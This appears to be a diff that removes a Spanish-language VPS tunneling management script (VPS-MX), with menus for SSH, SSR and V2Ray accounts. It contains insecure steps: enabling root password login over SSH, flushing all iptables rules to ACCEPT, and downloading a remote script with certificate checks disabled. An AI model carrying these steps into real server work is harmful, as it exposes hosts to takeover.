-    echo -e "\033[1;39m En APPS como HTTP Inyector,KPN Rev,APKCUSTOM, etc."
-    echo -e "\033[1;39m Se deveran agregar en la aplicasion a usar estos DNS."
-    echo -e "\033[1;39m En APPS como SS,SSR,V2RAY no es necesario agregarlos."
-    msg -bar2
-    echo -e "\033[1;93m Recuerde escojer entre 1 DNS ya sea el de USA,BR,MX,CL \n segun le aya entregado el BOT."
-    echo ""
-    echo -e "\033[1;97m Ingrese su DNS Primario: \033[0;91m"
-    read -p " Primary Dns: " dns1
-    echo -e "\033[1;97m Ingrese su DNS Secundario: \033[0;91m"
-    read -p " Secondary Dns: " dns2
-    echo ""
-    msg -bar2
-    read -p " Estas seguro de continuar?  [ s | n ]: " dnsnetflix
-    [[ "$dnsnetflix" = "s" || "$dnsnetflix" = "S" ]] && dnsnetflix
-    msg -bar2
-}
-rootpass() {
-    clear
-    msg -bar
-    echo -e "${cor[3]}  Esta herramienta cambia a usuario root las VPS de "
-    echo -e "${cor[3]}             GoogleCloud y Amazon"
-    msg -bar
-    echo -ne " Desea Seguir? [S/N]: "
-    read x
-    [[ $x = @(n|N) ]] && msg -bar && return
-    msg -bar
-    echo -e "                 Aplicando Configuraciones"
-    fun_bar "service ssh restart"
-    sed -i "s;PermitRootLogin prohibit-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
-    sed -i "s;PermitRootLogin without-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
-    sed -i "s;PasswordAuthentication no;PasswordAuthentication yes;g" /etc/ssh/sshd_config
-    msg -bar
-    echo -e "Escriba su contraseña root actual o cambiela"
-    msg -bar
-    read -p " Nuevo passwd: " pass
-    (
-        echo $pass
-        echo $pass
-    ) | passwd 2>/dev/null
-    sleep 1s
-    msg -bar
-    echo -e "${cor[3]} Configuraciones aplicadas con exito!"
-    echo -e "${cor[2]} Su contraseña ahora es: ${cor[4]}$pass"
-    service ssh restart >/dev/null 2>&1
-    msg -bar
-    return
-}
-resetiptables() {
-    echo -e "Reiniciando Ipetables espere"
-    iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X && iptables -t mangle -F && iptables -t mangle -X && iptables -t raw -F && iptables -t raw -X && iptables -t security -F && iptables -t security -X && iptables -P INPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -P OUTPUT ACCEPT
-    echo -e "iptables reiniciadas con exito"
-}
-packobs() {
-    msg -ama "Buscando Paquetes Obsoletos"
-    dpkg -l | grep -i ^rc
-    msg -ama "Limpiando Paquetes Obsoloteos"
-    dpkg -l | grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge
-    msg -ama "Limpieza Completa"
-}
-TCPspeed() {
-    if [[ $(grep -c "^#ADM" /etc/sysctl.conf) -eq 0 ]]; then
-        msg -ama "$(fun_trans "TCP Speed No Activado, Desea Activar Ahora")?"
-        msg -bar
-        while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
-            read -p " [S/N]: " -e -i s resposta
-            tput cuu1 && tput dl1
-        done
-        [[ "$resposta" = @(s|S|y|Y) ]] && {
-            echo "#ADM" >>/etc/sysctl.conf
-            echo "net.ipv4.tcp_window_scaling = 1
- net.core.rmem_max = 16777216
- net.core.wmem_max = 16777216
- net.ipv4.tcp_rmem = 4096 87380 16777216
- net.ipv4.tcp_wmem = 4096 16384 16777216
- net.ipv4.tcp_low_latency = 1
- net.ipv4.tcp_slow_start_after_idle = 0" >>/etc/sysctl.conf
-            sysctl -p /etc/sysctl.conf >/dev/null 2>&1
-            msg -ama "$(fun_trans "TCP Activo Con Exito")!"
-        } || msg -ama "$(fun_trans "Cancelado")!"
-    else
-        msg -ama "$(fun_trans "TCP Speed ya esta activado, desea detener ahora")?"
-        msg -bar
-        while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
-            read -p " [S/N]: " -e -i s resposta
-            tput cuu1 && tput dl1
-        done
-        [[ "$resposta" = @(s|S|y|Y) ]] && {
-            grep -v "^#ADM
- net.ipv4.tcp_window_scaling = 1
- net.core.rmem_max = 16777216
- net.core.wmem_max = 16777216
- net.ipv4.tcp_rmem = 4096 87380 16777216
- net.ipv4.tcp_wmem = 4096 16384 16777216
- net.ipv4.tcp_low_latency = 1
- net.ipv4.tcp_slow_start_after_idle = 0" /etc/sysctl.conf >/tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf
-            sysctl -p /etc/sysctl.conf >/dev/null 2>&1
-            msg -ama "$(fun_trans "TCP Parado Con Exito")!"
-        } || msg -ama "$(fun_trans "Cancelado")!"
-    fi
-}
-SquidCACHE() {
-    msg -ama "$(fun_trans "Squid Cache, Aplica cache en Squid")"
-    msg -ama "$(fun_trans "Mejora la velocidad del squid")"
-    msg -bar
-    if [ -e /etc/squid/squid.conf ]; then
-        squid_var="/etc/squid/squid.conf"
-    elif [ -e /etc/squid3/squid.conf ]; then
-        squid_var="/etc/squid3/squid.conf"
-    else
-        msg -ama "$(fun_trans "Su sistema no tiene un squid")!" && return 1
-    fi
-    teste_cache="#CACHE_DO_SQUID"
-    if [[ $(grep -c "^$teste_cache" $squid_var) -gt 0 ]]; then
-        [[ -e ${squid_var}.bakk ]] && {
-            msg -ama "$(fun_trans "Cache squid identificado, eliminando")!"
-            mv -f ${squid_var}.bakk $squid_var
-            msg -ama "$(fun_trans "Cache squid Removido")!"
-            service squid restart >/dev/null 2>&1 &
-            service squid3 restart >/dev/null 2>&1 &
-            return 0
-        }
-    fi
-    msg -ama "$(fun_trans "Aplicando Cache Squid")!"
-    msg -bar
-    _tmp="#CACHE_DO_SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95"
-    [[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid"
-    while read s_squid; do
-        [[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}"
-    done <$squid_var
-    cp ${squid_var} ${squid_var}.bakk
-    echo -e "${_tmp}" >$squid_var
-    msg -ama "$(fun_trans "Cache Aplicado con Exito")!"
-    service squid restart >/dev/null 2>&1 &
-    service squid3 restart >/dev/null 2>&1 &
-}
-oracl() {
-    clear
-    msg -bar
-    msg -tit
-    msg -verm "		FIREWALLD"
-    msg -ama " ESTA HERRAMIENTA ES PARA LAS VPS ORACLE/AWS/AZR"
-    msg -ama " TAMBIEN PARA OTRAS VPS QUE SON NECESARIO A UTILIZAR ESTA OPCION"
-    echo -ne " Desea Continuar? [S/N]: "
-    read x
-    [[ $x = @(n|N) ]] && msg -bar && return
-    msg -bar
-    sudo apt update -y &>/dev/null
-    sudo apt install firewalld -y &>/dev/null
-    sudo apt install apache2 &>/dev/null
-    sudo firewall-cmd --zone=public --permanent --add-port=80/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=81/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=90/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=110/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=143/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=442/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=443/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=444/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=8080/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=8081/tcp
-    sudo firewall-cmd --zone=public --permanent --add-port=5300/udp
-    sudo firewall-cmd --zone=public --permanent --add-port=7200/udp
-    sudo firewall-cmd --zone=public --permanent --add-port=7300/udp
-    sudo firewall-cmd --reload
-    sudo firewall-cmd --zone=public --list-ports &>/dev/null
-    msg -azu "	FIX AGREGADO"
-}
-cache() {
-    clear
-    msg -bar
-    msg -verm "	LIBERANDO CACHÉ/RAM"
-    msg -bar
-    me() {
-        echo 3 >/proc/sys/vm/drop_caches &>/dev/null
-        sysctl -w vm.drop_caches=3 &>/dev/null
-        apt-get autoclean -y &>/dev/null
-        apt-get clean -y &>/dev/null
-    }
-    me &>/dev/null && msg -ama " REFRESCANDO RAM" | pv -qL20
-    sleep 2s
-    if [[ ! -z $(crontab -l | grep -w "vm.drop_caches=3") ]]; then
-        msg -azu " Auto limpieza programada cada $(msg -verd "[ $(crontab -l | grep -w "vm.drop_caches=3" | awk '{print $2}' | sed $'s/[^[:alnum:]\t]//g')HS ]")"
-        msg -bar
-        while :; do
-            echo -ne "$(msg -azu " Detener Auto Limpieza [S/N]: ")" && read t_ram
-            tput cuu1 && tput dl1
-            case $t_ram in
-            s | S)
-                crontab -l >/root/cron && sed -i '/vm.drop_caches=3/ d' /root/cron && crontab /root/cron && rm /root/cron
-                msg -azu " Auto-Limpeza Detenida!" && msg -bar && sleep 2
-                return 1
-                ;;
-            n | N) return 1 ;;
-            *) menu3 ;;
-            esac
-        done
-    fi
-    echo -ne "$(msg -azu "Desea programar El Auto-Limpieza [s/n]:") "
-    read c_ram
-    if [[ $c_ram = @(s|S|y|Y) ]]; then
-        tput cuu1 && tput dl1
-        echo -ne "$(msg -azu " PONGA UN NÚMERO, EJEMPLO [1-12HORAS]:") "
-        read ram_c
-        if [[ $ram_c =~ ^[0-9]+$ ]]; then
-            crontab -l >/root/cron
-            echo "0 */$ram_c * * * sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1" >>/root/cron
-            crontab /root/cron
-            rm /root/cron
-            tput cuu1 && tput dl1
-            msg -azu " Auto-Limpieza programada cada: $(msg -verd "${ram_c} HORAS")" && msg -bar && sleep 2
-        else
-            tput cuu1 && tput dl1
-            msg -verm2 " ingresar solo numeros entre 1 y 12"
-            sleep 2
-            msg -bar
-        fi
-    fi
-    return 1
-}
-pidr_inst() {
-    proto="dropbear python stunnel4 v2ray node badvpn squid openvpn dns-serve ssserver ss-server"
-    portas=$(lsof -V -i -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND")
-    for list in $proto; do
-        case $list in
-        dropbear | python | stunnel4 | v2ray | node | badvpn | squid | openvpn | ssserver | ss-server)
-            portas2=$(echo $portas | grep -w "LISTEN" | grep -w "$list")
-            [[ $(echo "${portas2}" | grep "$list") ]] && inst[$list]="\033[1;32m[ON] " || inst[$list]="\033[1;31m[OFF]"
-            ;;
-        dns-serve)
-            portas2=$(echo $portas | grep -w "$list")
-            [[ $(echo "${portas2}" | grep "$list") ]] && inst[$list]="\033[1;32m[ON] " || inst[$list]="\033[1;31m[OFF]"
-            ;;
-        esac
-    done
-}
-menu_func() {
-    local options=${#@}
-    local array
-    for ((num = 1; num <= $options; num++)); do
-        echo -ne "  $(msg -verd "\e[1;93m[\e[92m$num\e[93m]") $(msg -verm2 "➛ ") "
-        array=(${!num})
-        case ${array[0]} in
-        "-vd") msg -verd "\033[1;33m[!]\033[1;32m $(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
-        "-vm") msg -verm2 "\033[1;33m[!]\033[1;31m $(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
-        "-fi") msg -azu "$(fun_trans "${array[@]:2}") ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g' ;;
-        *) msg -azu "$(fun_trans "${array[@]}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
-        esac
-    done
-}
-selection_fun() {
-    local selection="null"
-    local range
-    for ((i = 0; i <= $1; i++)); do range[$i]="$i "; done
-    while [[ ! $(echo ${range[*]} | grep -w "$selection") ]]; do
-        echo -ne "\033[1;37m$(fun_trans " ► Selecione una Opcion"): " >&2
-        read selection
-        tput cuu1 >&2 && tput dl1 >&2
-    done
-    echo $selection
-}
-export -f msg
-export -f selection_fun
-export -f fun_trans
-export -f menu_func
-export -f meu_ip
-export -f fun_ip
-export -f lacasita
-clear
-sudo sync
-sudo sysctl -w vm.drop_caches=3 >/dev/null 2>&1
-clear
-clear
-msg -bar
-msg -tit
-menu_info
-msg -bar
-title=$(echo -e "\033[1;96m$(cat ${SCPdir}/message.txt)")
-printf "%*s\n" $((($(echo -e "$title" | wc -c) + 55) / 2)) "$title"
-msg -bar
-monservi_fun() {
-    clear
-    clear
-    monssh() {
-        sed -i "57d" /bin/monitor.sh
-        sed -i '57i EstadoServicio ssh' /bin/monitor.sh
-    }
-    mondropbear() {
-        sed -i "59d" /bin/monitor.sh
-        sed -i '59i EstadoServicio dropbear' /bin/monitor.sh
-    }
-    monssl() {
-        sed -i "61d" /bin/monitor.sh
-        sed -i '61i EstadoServicio stunnel4' /bin/monitor.sh
-    }
-    monsquid() {
-        sed -i "63d" /bin/monitor.sh
-        sed -i '63i [[ $(EstadoServicio squid) ]] && EstadoServicio squid3' /bin/monitor.sh
-    }
-    monapache() {
-        sed -i "65d" /bin/monitor.sh
-        sed -i '65i EstadoServicio apache2' /bin/monitor.sh
-    }
-    monv2ray() {
-        sed -i "55d" /bin/monitor.sh
-        sed -i '55i EstadoServicio v2ray' /bin/monitor.sh
-    }
-    msg -bar
-    msg -tit
-    echo -e "\033[1;32m          MONITOR DE SERVICIONS PRINCIPALES"
-    PIDVRF3="$(ps aux | grep "${SCPdir}/menu monitorservi" | grep -v grep | awk '{print $2}')"
-    PIDVRF5="$(ps aux | grep "${SCPdir}/menu moni2" | grep -v grep | awk '{print $2}')"
-    if [[ -z $PIDVRF3 ]]; then
-        sed -i '5a\screen -dmS very3 /etc/VPS-MX/menu monitorservi' /bin/resetsshdrop
-        msg -bar
-        echo -e "\033[1;34m          ¿Monitorear Protocolo SSH/SSHD?"
-        msg -bar
-        read -p "                    [ s | n ]: " monssh
-        sed -i "57d" /bin/monitor.sh
-        sed -i '57i #EstadoServicio ssh' /bin/monitor.sh
-        [[ "$monssh" = "s" || "$monssh" = "S" ]] && monssh
-        msg -bar
-        echo -e "\033[1;34m          ¿Monitorear Protocolo DROPBEAR?"
-        msg -bar
-        read -p "                    [ s | n ]: " mondropbear
-        sed -i "59d" /bin/monitor.sh
-        sed -i '59i #EstadoServicio dropbear' /bin/monitor.sh
-        [[ "$mondropbear" = "s" || "$mondropbear" = "S" ]] && mondropbear
-        msg -bar
-        echo -e "\033[1;34m            ¿Monitorear Protocolo SSL?"
-        msg -bar
-        read -p "                    [ s | n ]: " monssl
-        sed -i "61d" /bin/monitor.sh
-        sed -i '61i #EstadoServicio stunnel4' /bin/monitor.sh
-        [[ "$monssl" = "s" || "$monssl" = "S" ]] && monssl
-        msg -bar
-        echo -e "\033[1;34m            ¿Monitorear Protocolo SQUID?"
-        msg -bar
-        read -p "                    [ s | n ]: " monsquid
-        sed -i "63d" /bin/monitor.sh
-        sed -i '63i #[[ $(EstadoServicio squid) ]] && EstadoServicio squid3' /bin/monitor.sh
-        [[ "$monsquid" = "s" || "$monsquid" = "S" ]] && monsquid
-        msg -bar
-        echo -e "\033[1;34m            ¿Monitorear Protocolo APACHE?"
-        msg -bar
-        read -p "                    [ s | n ]: " monapache
-        sed -i "65d" /bin/monitor.sh
-        sed -i '65i #EstadoServicio apache2' /bin/monitor.sh
-        [[ "$monapache" = "s" || "$monapache" = "S" ]] && monapache
-        msg -bar
-        echo -e "\033[1;34m            ¿Monitorear Protocolo V2RAY?"
-        msg -bar
-        read -p "                    [ s | n ]: " monv2ray
-        sed -i "55d" /bin/monitor.sh
-        sed -i '55i #EstadoServicio v2ray' /bin/monitor.sh
-        [[ "$monv2ray" = "s" || "$monv2ray" = "S" ]] && monv2ray
-        cd ${SCPdir}
-        screen -dmS very3 ${SCPdir}/menu monitorservi
-        screen -dmS monis2 ${SCPdir}/menu moni2
-    else
-        for pid in $(echo $PIDVRF3); do
-            kill -9 $pid &>/dev/null
-            sed -i "6d" /bin/resetsshdrop
-        done
-        for pid in $(echo $PIDVRF5); do
-            kill -9 $pid &>/dev/null
-        done
-    fi
-    msg -bar
-    echo -e "             Puedes Monitorear desde:\n       \033[1;32m http://$(meu_ip):81/monitor.html"
-    msg -bar
-    [[ -z ${VERY3} ]] && monitorservi="\033[1;32m ACTIVADO " || monitorservi="\033[1;31m DESACTIVADO "
-    echo -e "            $monitorservi  --  CON EXITO"
-    msg -bar
-}
-monitor_auto() {
-    while true; do
-        monitor.sh 2>/dev/null
-        sleep 90s
-    done
-}
-if [[ "$1" = "monitorservi" ]]; then
-    monitor_auto
-    exit
-fi
-pid_kill() {
-    [[ -z $1 ]] && refurn 1
-    pids="$@"
-    for pid in $(echo $pids); do
-        kill -9 $pid &>/dev/null
-    done
-}
-monitorport_fun() {
-    while true; do
-        pidproxy3=$(ps x | grep "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && pid_kill $pidproxy3
-        pidpyssl=$(ps x | grep "python.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidpyssl ]] && pid_kill $pidpyssl
-        sleep 6h
-    done
-}
-if [[ "$1" = "moni2" ]]; then
-    monitorport_fun
-    exit
-fi
-SSHN="$(grep -c home /etc/passwd)"
-echo "${SSHN}" | bc >/etc/VPS-MX/controlador/SSH20.log
-SSH3="$(less /etc/VPS-MX/controlador/SSH20.log)"
-SSH4="$(echo $SSH3)"
-user_info=$(cd /usr/local/shadowsocksr &>/dev/null && python mujson_mgr.py -l)
-user_total=$(echo "${user_info}" | wc -l)
-[[ ! -e /etc/VPS-MX/RegV2ray ]] && touch /etc/VPS-MX/RegV2ray
-vray=$(cat /etc/VPS-MX/RegV2ray | wc -l)
-on="\033[1;92m[ON]" && off="\033[1;31m[OFF]"
-echo -e "\033[1;97m   SSH REG:\033[1;92m $SSH4 \033[1;97m   SS-SSRR REG:\033[1;92m $user_total \033[1;97m   V2RAY REG:\e[32m $vray"
-VERY="$(ps aux | grep "${SCPusr}/usercodes verificar" | grep -v grep)"
-VERY2="$(ps aux | grep "${SCPusr}/usercodes desbloqueo" | grep -v grep)"
-VERY3="$(ps aux | grep "${SCPdir}/menu monitorservi" | grep -v grep)"
-limseg="$(less /etc/VPS-MX/controlador/tiemlim.log)"
-[[ -z ${VERY} ]] && verificar="\033[1;31m[OFF]" || verificar="\033[1;32m[ON] "
-[[ -z ${VERY2} ]] && desbloqueo="\033[1;31m[OFF]" || desbloqueo="\033[1;32m[ON] "
-[[ -z ${VERY3} ]] && monitorservi="\033[1;31m[OFF]" || monitorservi="\033[1;32m[ON]"
-[[ -e ${SCPdir}/USRonlines ]] && msg -bar && msg -ne "\033[1;97m LIMITADOR:\033[1;92m$verificar \033[1;97m AUTO-DESBLOQUEO:\033[1;92m$desbloqueo \e[1;97mMONITOR:\e[34m${limseg}s\n \033[1;32mCONECTADOS: " && echo -ne "\033[1;97m$(cat ${SCPdir}/USRonlines) "
-[[ -e ${SCPdir}/USRexpired ]] && msg -ne "   EXPIRADOS: " && echo -ne "\033[1;97m$(cat ${SCPdir}/USRexpired) " && msg -ne " \033[1;95m BLOQUEADOS: " && echo -e "\033[1;97m$(cat ${SCPdir}/USRbloqueados)" #\n\033[1;97m        ACTULIZACION DE MONITOR CADA: \033[1;34m $limseg s"
-monhtop() {
-    clear
-    msg -bar
-    msg -tit
-    echo -ne " \033[1;93m             MONITOR DE PROCESOS HTOP\n"
-    msg -bar
-    msg -bra "    RECUERDA SALIR CON : \033[1;96m CTRL + C o FIN + F10 "
-    [[ $(dpkg --get-selections | grep -w "htop" | head -1) ]] || apt-get install htop -y &>/dev/null
-    msg -bar
-    read -t 10 -n 1 -rsp $'\033[1;39m Preciona Enter Para continuar\n'
-    clear
-    sudo htop
-    msg -bar
-    echo -e "\e[97m \033[1;41m| #-#-►  SCRIPT VPS•MX ◄-#-# | \033[1;49m\033[1;49m \033[1;31m[ \033[1;32m $vesaoSCT      "
-    echo -ne " \033[1;93m             MONITOR DE PROCESOS HTOP\n"
-    msg -bar
-    echo -e "\e[97m                  FIN DEL MONITOR"
-    msg -bar
-}
-[[ $(ps x | grep v2ray | grep -v grep | awk '{print $1}') ]] && vra=$on || vra=$off
-msg -bar
-msg -bar3
-on="\e[1;32m[ON]" && off="\e[1;31m[OFF]"
-echo -e " \e[1;93m[\e[92m1\e[93m] $(msg -verm2 "➛ ") $(msg -azu "ADMINISTRAR CUENTAS | SSH/SSL/DROPBEAR")"
-echo -e " \e[1;93m[\e[92m2\e[93m] $(msg -verm2 "➛ ") $(msg -azu "ADMINISTRAR CUENTAS | SS/SSRR")"
-echo -e " \e[1;93m[\e[92m3\e[93m] $(msg -verm2 "➛ ") $(msg -azu "ADMINISTRAR CUENTAS | V2RAY --> $vra")"
-echo -e " \e[1;93m[\e[92m4\e[93m] $(msg -verm2 "➛ ") \e[1;31m\033[47mPROTOCOLOS\e[0m  \e[93m||  \e[1;37m\e[41mHERRAMIENTAS\e[0m"
-echo -e " \e[1;93m[\e[92m5\e[93m] $(msg -verm2 "➛ ") $(msg -azu "MONITOR DE PROTOCOLOS --------> ${monitorservi}")"
-echo -e " \e[1;93m[\e[92m6\e[93m] $(msg -verm2 "➛ ") $(msg -azu "AUTO INICIAR SCRIPT ----------> ${AutoRun}")"
-msg -bar
-echo -e " \e[1;93m[\e[92m7\e[93m] \e[97m$(msg -verm2 "➛ ") $(msg -verd "ACTUALIZAR") \e[1;93m [\e[92m8\e[93m]\e[97m$(msg -verm2 "➛ ")\033[1;31mDESINSTALAR  \e[1;93m[\e[92m0\e[93m]$(msg -verm2 "➛ ") $(msg -bra "\e[97m\033[1;41mSALIR")"
-msg -bar
-selection=$(selection_fun 13)
-case ${selection} in
-1) ${SCPusr}/usercodes "${idioma}" ;;
-2) ${SCPinst}/C-SSR.sh ;;
-3) ${SCPinst}/v2ray.sh ;;
-4) menu3 ;;
-5) monservi_fun ;;
-6) fun_autorun ;;
-7) atualiza_fun ;;
-8) remove_script ;;
-0) cd $HOME && exit 0 ;;
-esac
-msg -ne "Enter Para Continuar" && read enter
-${SCPdir}/menu

+ 0 - 1
SCRIPT-v8.5x Mod/VPS-MX/message.txt

@@ -1 +0,0 @@
-By @Kalix1

+ 0 - 2061
SCRIPT-v8.5x Mod/VPS-MX/protocolos/C-SSR.sh

@@ -1,2061 +0,0 @@
-#!/bin/bash
-#25/01/2021
-clear
-clear
-msg -bar
-PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
-export PATH
-SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-BARRA1="\e[0;31m--------------------------------------------------------------------\e[0m"
-SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-sh_ver="1.0.26"
-filepath=$(
-	cd "$(dirname "$0")"
-	pwd
-)
-file=$(echo -e "${filepath}" | awk -F "$0" '{print $1}')
-ssr_folder="/usr/local/shadowsocksr"
-config_file="${ssr_folder}/config.json"
-config_user_file="${ssr_folder}/user-config.json"
-config_user_api_file="${ssr_folder}/userapiconfig.py"
-config_user_mudb_file="${ssr_folder}/mudb.json"
-ssr_log_file="${ssr_folder}/ssserver.log"
-Libsodiumr_file="/usr/local/lib/libsodium.so"
-Libsodiumr_ver_backup="1.0.16"
-Server_Speeder_file="/serverspeeder/bin/serverSpeeder.sh"
-LotServer_file="/appex/bin/serverSpeeder.sh"
-BBR_file="${file}/bbr.sh"
-jq_file="${ssr_folder}/jq"
-
-Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
-Info="${Green_font_prefix}[ INFORMACION ]${Font_color_suffix}"
-Error="${Red_font_prefix}[# ERROR #]${Font_color_suffix}"
-Tip="${Green_font_prefix}[ NOTA ]${Font_color_suffix}"
-Separator_1="——————————————————————————————"
-
-check_root() {
-	[[ $EUID != 0 ]] && echo -e "${Error} La cuenta actual no es ROOT (no tiene permiso ROOT), no puede continuar la operacion, por favor ${Green_background_prefix} sudo su ${Font_color_suffix} Venga a ROOT (le pedire que ingrese la contraseña de la cuenta actual despues de la ejecucion)" && exit 1
-}
-check_sys() {
-	if [[ -f /etc/redhat-release ]]; then
-		release="centos"
-	elif cat /etc/issue | grep -q -E -i "debian"; then
-		release="debian"
-	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
-		release="ubuntu"
-	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
-		release="centos"
-	elif cat /proc/version | grep -q -E -i "debian"; then
-		release="debian"
-	elif cat /proc/version | grep -q -E -i "ubuntu"; then
-		release="ubuntu"
-	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
-		release="centos"
-	fi
-	bit=$(uname -m)
-}
-check_pid() {
-	PID=$(ps -ef | grep -v grep | grep server.py | awk '{print $2}')
-}
-check_crontab() {
-	[[ ! -e "/usr/bin/crontab" ]] && echo -e "${Error}Falta de dependencia Crontab, Por favor, intente instalar manualmente CentOS: yum install crond -y , Debian/Ubuntu: apt-get install cron -y !" && exit 1
-}
-SSR_installation_status() {
-	[[ ! -e ${ssr_folder} ]] && echo -e "${Error}\nShadowsocksR No se encontro la carpeta, por favor verifique\n$(msg -bar)" && exit 1
-}
-Server_Speeder_installation_status() {
-	[[ ! -e ${Server_Speeder_file} ]] && echo -e "${Error}No instalado (Server Speeder), Por favor compruebe!" && exit 1
-}
-LotServer_installation_status() {
-	[[ ! -e ${LotServer_file} ]] && echo -e "${Error}No instalado LotServer, Por favor revise!" && exit 1
-}
-BBR_installation_status() {
-	if [[ ! -e ${BBR_file} ]]; then
-		echo -e "${Error} No encontre el script de BBR, comience a descargar ..."
-		cd "${file}"
-		if ! wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/bbr.sh; then
-			echo -e "${Error} BBR script descargar!" && exit 1
-		else
-			echo -e "${Info} BBR script descarga completa!"
-			chmod +x bbr.sh
-		fi
-	fi
-}
-#Establecer reglas de firewall
-Add_iptables() {
-	if [[ ! -z "${ssr_port}" ]]; then
-		iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT
-		iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT
-		ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT
-		ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT
-	fi
-}
-Del_iptables() {
-	if [[ ! -z "${port}" ]]; then
-		iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT
-		iptables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT
-		ip6tables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT
-		ip6tables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT
-	fi
-}
-Save_iptables() {
-	if [[ ${release} == "centos" ]]; then
-		service iptables save
-		service ip6tables save
-	else
-		iptables-save >/etc/iptables.up.rules
-		ip6tables-save >/etc/ip6tables.up.rules
-	fi
-}
-Set_iptables() {
-	if [[ ${release} == "centos" ]]; then
-		service iptables save
-		service ip6tables save
-		chkconfig --level 2345 iptables on
-		chkconfig --level 2345 ip6tables on
-	else
-		iptables-save >/etc/iptables.up.rules
-		ip6tables-save >/etc/ip6tables.up.rules
-		echo -e '#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules' >/etc/network/if-pre-up.d/iptables
-		chmod +x /etc/network/if-pre-up.d/iptables
-	fi
-}
-#Leer la informaci�n de configuraci�n
-Get_IP() {
-	ip=$(wget -qO- -t1 -T2 ipinfo.io/ip)
-	if [[ -z "${ip}" ]]; then
-		ip=$(wget -qO- -t1 -T2 api.ip.sb/ip)
-		if [[ -z "${ip}" ]]; then
-			ip=$(wget -qO- -t1 -T2 members.3322.org/dyndns/getip)
-			if [[ -z "${ip}" ]]; then
-				ip="VPS_IP"
-			fi
-		fi
-	fi
-}
-Get_User_info() {
-	Get_user_port=$1
-	user_info_get=$(python mujson_mgr.py -l -p "${Get_user_port}")
-	match_info=$(echo "${user_info_get}" | grep -w "### user ")
-	if [[ -z "${match_info}" ]]; then
-		echo -e "${Error}La adquisicion de informacion del usuario fallo ${Green_font_prefix}[Puerto: ${ssr_port}]${Font_color_suffix} " && exit 1
-	fi
-	user_name=$(echo "${user_info_get}" | grep -w "user :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	port=$(echo "${user_info_get}" | grep -w "port :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	password=$(echo "${user_info_get}" | grep -w "passwd :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	method=$(echo "${user_info_get}" | grep -w "method :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	protocol=$(echo "${user_info_get}" | grep -w "protocol :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	protocol_param=$(echo "${user_info_get}" | grep -w "protocol_param :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	[[ -z ${protocol_param} ]] && protocol_param="0(Ilimitado)"
-	msg -bar
-	obfs=$(echo "${user_info_get}" | grep -w "obfs :" | sed 's/[[:space:]]//g' | awk -F ":" '{print $NF}')
-	msg -bar
-	#transfer_enable=$(echo "${user_info_get}"|grep -w "transfer_enable :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}'|awk -F "ytes" '{print $1}'|sed 's/KB/ KB/;s/MB/ MB/;s/GB/ GB/;s/TB/ TB/;s/PB/ PB/')
